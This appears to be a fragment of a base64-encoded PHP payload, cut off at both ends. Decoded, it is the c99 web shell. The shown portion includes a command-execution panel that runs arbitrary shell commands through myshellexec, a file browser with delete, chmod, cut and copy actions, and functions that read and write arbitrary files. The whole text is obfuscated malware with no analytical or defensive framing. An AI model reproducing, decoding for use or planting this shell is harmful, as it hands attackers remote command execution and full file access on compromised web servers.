RvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICAgJGFjdCA9ICJscyI7DQogIH0NCn0NCmlmICgkYWN0ID09ICJjbWQiKSB7DQogIEBjaGRpcigkY2hkaXIpOw0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogUmVzdWx0IG9mIENvbW1hbmQgRXhlY3V0aW9uIDouPC9kaXY+IjsNCiAgICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgICBAY2hkaXIoJGQpOw0KICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kKTsNCiAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAgaWYgKCRjbWRfdHh0KSB7DQogICAgICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwOyB9DQogICAgICBpZiAoJG1zaWUpIHsgJGNvbHMgPSAxMTM7IH0NCiAgICAgIGVsc2UgeyAkY29scyA9IDExNzt9DQogICAgICAvL2VjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiJGNvbHNcIiByb3dzPVwiJHJvd3NcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgICAgIGVjaG8gIjxkaXYgYWxpZ249bGVmdD48cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC9wcmU+PC9kaXY+IjsNCiAgICB9DQogICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjxiPkNvbW1hbmQgRXhlY3V0aW9uPC9iPiI7DQogICAgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9DQogIH0NCn0NCmlmICgkYWN0ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUNCiAgICBpZiAoJHZkID09ICJmIikgew0KICAgICAgJG9iamVjdHNbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KSB7DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiQ1VSRElSIjt9DQogICAgICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiVVBESVIiO30NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQ0KICAgICAgICAgIGVsc2UgeyR0eXBlID0gIkRJUiI7fQ0KICAgICAgICAgICRyb3dbXSA9ICR2Ow0KICAgICAgICAgICRyb3dbXSA9ICR0eXBlOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgkdik7fQ0KICAgICAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOw0KICAgICAgICBpZiAoISR3aW4pIHsNCiAgICAgICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsNCiAgICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsNCiAgICAgICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsNCiAgICAgICAgfQ0KICAgICAgICAkcm93W10gPSBmaWxlcGVybXMoJHYpOw0KICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyRvYmplY3RzWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAkcm93W10gPSAiPGI+TmFtZTwvYj4iOw0KICAgICAgJHJvd1tdID0gIjxiPlNpemU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5EYXRlIE1vZGlmaWVkPC9iPiI7DQogICAgICBpZiAoISR3aW4pIHskcm93W10gPSAiPGI+T3duZXIvR3JvdXA8L2I+Ijt9DQogICAgICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsNCiAgICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHNvcnQpOw0KICAgICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07DQogICAgICAkayA9ICRwYXJzZXNvcnRbMF07DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskcGFyc2Vzb3J0WzFdID0gImQiO30NCiAgICAgICR5ID0gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsNCiAgICAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQ0KICAgICAgfQ0KICAgICAgJHYgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpIHsNCiAgICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZvbGRlcnMiXSk7DQogICAgICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZmlsZXMiXSk7DQogICAgICB9DQogICAgICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sJG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlua3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7DQogICAgICAkdGFiID0gYXJyYXkoKTsNCiAgICAgICR0YWJbImNvbHMiXSA9IGFycmF5KCRyb3cpOw0KICAgICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsNCiAgICAgICR0YWJbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOw0KICAgICAgJGkgPSAwOw0KICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGEpIHsNCiAgICAgICAgJHYgPSAkYVswXTsNCiAgICAgICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgICAgICRkaXIgPSBkaXJuYW1lKCR2KTsNCiAgICAgICAgaWYgKCRkaXNwX2Z1bGxwYXRoKSB7JGRpc3BwYXRoID0gJHY7fQ0KICAgICAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9DQogICAgICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7DQogICAgICAgIGlmIChpbl9hcnJheSgkdiwkc2Vzc19kYXRhWyJjdXQiXSkpIHskZGlzcHBhdGggPSAiPHN0cmlrZT4iLiRkaXNwcGF0aC4iPC9zdHJpa2U+Ijt9DQogICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQ0KICAgICAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKSB7DQogICAgICAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKSB7DQogICAgICAgICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTlzaGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kby4iPC9hPiI7DQogICAgICAgICAgJHJvd1tdID0gIkNVUkRJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7DQogICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kby4iPC9hPiI7DQogICAgICAgICAgJHJvd1tdID0gIlVQRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHsNCiAgICAgICAgICBpZiAoaXNfbGluaygkdikpIHsNCiAgICAgICAgICAgICRkaXNwcGF0aCAuPSAiID0+ICIucmVhZGxpbmsoJHYpOw0KICAgICAgICAgICAgJHR5cGUgPSAiTElOSyI7DQogICAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDtbIi4kZGlzcHBhdGguIl08L2E+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7DQogICAgICAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgICAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgICAgICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRkaXNwcGF0aC4iPC9hPiI7DQogICAgICAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsNCiAgICAgICAgfQ0KICAgICAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOw0KICAgICAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9DQogICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJHYpLiI8L2I+PC9hPiI7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQ0KICAgICAgICBlbHNlIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30NCiAgICAgICAgaWYgKGlzX2RpcigkdikpIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICAgICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskdGFiWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyR0YWJbImZvbGRlcnMiXVtdID0gJHJvdzt9DQogICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICB9DQogICAgLy8gQ29tcGlsaW5nIHRhYmxlDQogICAgJHRhYmxlID0gYXJyYXlfbWVyZ2UoJHRhYlsiY29scyJdLCR0YWJbImhlYWQiXSwkdGFiWyJmb2xkZXJzIl0sJHRhYlsibGlua3MiXSwkdGFiWyJmaWxlcyJdKTsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiAiOw0KICAgIGlmICghZW1wdHkoJGZ4X2luZm9oZWFkKSkgeyBlY2hvICRmeF9pbmZvaGVhZDsgfQ0KICAgIGVsc2UgeyBlY2hvICJEaXJlY3RvcnkgTGlzdCAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpIjsgfQ0KICAgIGVjaG8gIiA6LjwvZGl2PlxuIjsNCiAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVCBuYW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+Ii4NCiAgICAgICAgICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fQ0KICAgICAgZWNobyAiPC90cj5cclxuIjsNCiAgICB9DQogICAgZWNobyAiPC90YWJsZT4iLg0KICAgICAgICAgIjxzY3JpcHQ+Ii4NCiAgICAgICAgICJmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpIHsiLg0KICAgICAgICAgIiB2YXIgaWQgPSAxOyB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyIuDQogICAgICAgICAiIHdoaWxlIChpZCA8PSBudW0pIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7IGlkKys7IH0iLg0KICAgICAgICAgIn0iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiPC9zY3JpcHQ+Ii4NCiAgICAgICAgICI8ZGl2IGFsaWduPVwicmlnaHRcIj4iLg0KICAgICAgICAgIjxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiIuDQogICAgICAgICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpIHsNCiAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiZnhfYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgIH0NCiAgICBlY2hvICI8c2VsZWN0IG5hbWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgICBpZiAoJHVzZWZzYnVmZikgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5zZWxlY3Q8L29wdGlvbj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9kaXY+IjsNCiAgICBlY2hvICI8L2Zvcm0+IjsNCiAgfQ0KfQ0KaWYgKCRhY3QgPT0gInRvb2xzIikgLy9EZWZpbmUgWW91cnNlbGYNCnsNCg0KfQ0KaWYgKCRhY3QgPT0gInBocGZzeXMiKSB7DQogIGVjaG8gIjxkaXYgYWxpZ249bGVmdD4iOw0KICAkZnNmdW5jID0gJHBocGZzeXNmdW5jOw0KICBpZiAoJGZzZnVuYz09ImNvcHkiKSB7DQogICAgaWYgKCFjb3B5KCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNvcHkgJGFyZzEuLi5cbiI7fQ0KICAgIGVsc2UgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgY29waWVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVuYW1lIikgew0KICAgIGlmICghcmVuYW1lKCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIHJlbmFtZS9tb3ZlICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSByZW5hbWVkL21vdmVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iY2htb2QiKSB7DQogICAgaWYgKCFjaG1vZCgkYXJnMSwkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNobW9kICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlBlcm0gZm9yICRhcmcxIGNoYW5nZWQgdG8gJGFyZzIhPC9iPlxuIjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09InJlYWQiKSB7DQogICAgJGhhc2lsID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmcxKTsNCiAgICBlY2hvICI8Yj5GaWxlbmFtZTo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9MTUwIHJvd3M9MjA+IjsNCiAgICBlY2hvICRoYXNpbDsNCiAgICBlY2hvICI8L3RleHRhcmVhPlxuIjsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJ3cml0ZSIpIHsNCiAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGQuJGFyZzEsJGFyZzIpKSB7DQogICAgICBlY2hvICI8Yj5TYX